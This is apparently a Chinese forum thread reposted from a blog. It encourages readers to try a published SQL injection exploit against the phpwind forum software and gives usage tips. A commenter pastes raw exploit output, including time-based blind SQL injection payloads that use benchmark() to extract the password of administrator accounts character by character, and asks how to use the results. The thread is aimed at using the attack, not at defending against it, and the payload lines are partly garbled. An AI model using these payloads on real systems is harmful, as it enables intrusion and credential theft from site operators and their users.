信息来源：Cnlnfjhh's Blog
前段时间的DZ，这些天的phpwind，闹的老外都关注了。
几天前www.milw0rm.com已经公布了另一个SQL injection exploit
代码大家都已经有了吧，不是剑心的，是国外的。
偶找了个动画给大家观看。
大家先看完这个，再去尝试Sql吧
点我下载动画演示
PS:
-t为时间，一般为10-15分钟
-t10
需要提取phpwind的key，密匙。如果不行就换另一个。
点我下载执行代码
PS:
前提条件：php.ini中的
short_open_tag = off
呵呵 我也喜欢那个站 不过英文不好了！！ :lol:
不知道 为什么 老外也会骗人？？
还是有别的方法？
sql -> 9999999'/**/OR/**/(IF((ASCII(SUBSTRING(password,1,1))=0),benchmark(20000
00,char(0)),-1))/**/AND/**/groupid=3/** MIT/**/1/*
starttime -> 1163420863
endtime -> 1163420868
difftime -> 5
sql -> 9999999'/**/OR/**/(IF((ASCII(SUBSTRING(password,1,1))=48),benchmark(2000
000,char(0)),-1))/**/AND/**/groupid=3/** MIT/**/1/*
starttime -> 1163420875
endtime -> 1163420880
difftime -> 5
反回的这些怎么用。。郁闷了。不明白。。